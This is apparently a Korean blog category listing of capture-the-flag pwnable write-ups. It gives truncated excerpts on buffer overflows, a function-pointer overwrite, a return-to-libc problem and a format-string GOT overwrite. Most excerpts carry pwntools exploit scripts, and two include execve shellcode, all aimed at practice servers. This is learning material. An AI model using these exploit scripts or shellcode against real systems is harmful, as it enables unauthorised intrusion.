목록Capture (19)
ii4gsp
파일을 다운받아 주자. IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다. s는 32byte만큼 할당되었고 fgets()함수로 32byte만큼 입력을받는다. 하지만, replace()함수가 "I"를 "you"로 바꿔준다. "you"는 3byte이므로, 3 * 20 = 60 dummy + sfp = 64 64byte dummy를 채워주고 flag를 출력해주는 get_flag() 함수의 주로를 ret로 조작해주면 된다. get_flag()함수의 주소는 0x08048F0D 이다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3011) payload = '' payload += 'I' * 20 payload += '\x90' * 4 ..
RTL을 이용하는 문제인것같다. 파일을 다운받아 주자. int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int v4; // [esp+10h] [ebp-90h] char buf; // [esp+14h] [ebp-8Ch] void *v6; // [esp+94h] [ebp-Ch] void *handle; // [esp+98h] [ebp-8h] void *s1; // [esp+9Ch] [ebp-4h] setvbuf(stdout, 0, 2, 0); handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1); v6 = dlsym(handle, "system"); dlclose(..
파일을 다운받아 주자. 파일을 IDA로 열어보면 이전 문제와 똑같다 gets()함수에서 취약점이 발생한다. s는 0x40만큼 할당되었다. 0x40은 64이다. s ~ sfp까지는 68이다. s ~ sfp 68byte를 덮어주고 ret를 get_flag()함수로 조작해주면 쉘을 획득할 수 있다. get_flag()함수의 주소는 0x08048556이다. Exploit from pwn import * r = remote('52.79.224.215', 30006) payload = '' payload += '\x90' * 68 payload += p32(0x08048556) r.sendline(payload) r.interactive()
파일을 다운받아 주자. 파일을 IDA로 열어보면 gets()함수에서 취약점이 발생한다는것을 알 수 있다. s는 0x14 즉, 10진수로 20만큼 할당되었고 sfp까지하면 24byte이다. s ~ sfp 만큼 24byte를 덮어주고 ret를 flag() 함수의 주소로 조작하면 쉘을 획득할 수 있다. flag()함수의 주소는 0x08048516 이다. Exploit from pwn import * r = remote('52.79.224.215', 30005) payload = '' payload += '\x90' * 24 payload += p32(0x08048516) r.recvuntil('>> ') r.sendline(payload) r.interactive()
파일을 다운받아 주자. IDA로 열어보면 gets()함수로 s에 입력을받고 select_func()함수를 호출한다. select_func()함수를 보면 v3가 two()함수를 가리키고 있다. 인자 src를 0x1F 즉, 31byte만큼 dest에 복사한다. 그리고 dest의 값이 "one"이라면 v3가 one()함수를 가르키고 v3가 가리키는 함수를 호출한다. print_flag()함수를 호출하면 flag를 볼 수 있다. 함수의 주소를 보면 two()함수의 주소는 0x000006AD이고 print_flag()함수의 주소는 0x000006D8 이다. select_func()에서 dest와 v3의 거리는 30이다. 복사하는 크기는 31byte이다. 즉, 30byte dummy를 주고 0xD8을 주면 prin..
파일을 다운받아 주자. IDA로 열어보면 Data를 입력받고 입력받은곳의 주소를 출력해준다. y나 Y를 입력하면 무한루프를 돌 수 있다. s ~ sfp는 140이다. s에 쉘 코드를 넣고 ret를 s의 주소로 해주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3006) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' r.recvuntil('Data : ') r.sendline('asd') buffer = int(r.recv(10), 16) r.recvuntil('Again (y/n): ') r.se..
파일을 다운받아 주자. IDA로 열어보면 read()함수로 name에 0x32만큼 값을 넣는다. name은 전역변수이다. 그리고 gets()함수로 변수 s에 입력을한다. gets()함수에서 취약점이 발생한다. s ~ sfp = 24 read함수로 name에 쉘 코드를 넣어놓고 ret를 name의 주소로하면 쉘을 획득한다. name의 주소는 0x0804A060 이다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3003) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' r.recvuntil('Name : ')..
파일을 다운받아 주자. IDA로 열어보면 vuln()함수에서 return printf(&format); 부분에서 포맷스트링 버그가 일어난다. 쉘을 실행시키는 flag()함수가 있다. printf의 got를 flag()함수의 주소로 조작해주면 된다. flag()함수의 주소는 0x080485B4 이다. 0x080485B4는 10진수로 134,514,100이다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3002) e = ELF('/home/ii4gsp/HackCTF/basic_fsb') printf_got = e.got['printf'] payload = p32(printf_got) payload += "%134514096x%n" r.recvuntil(":") r..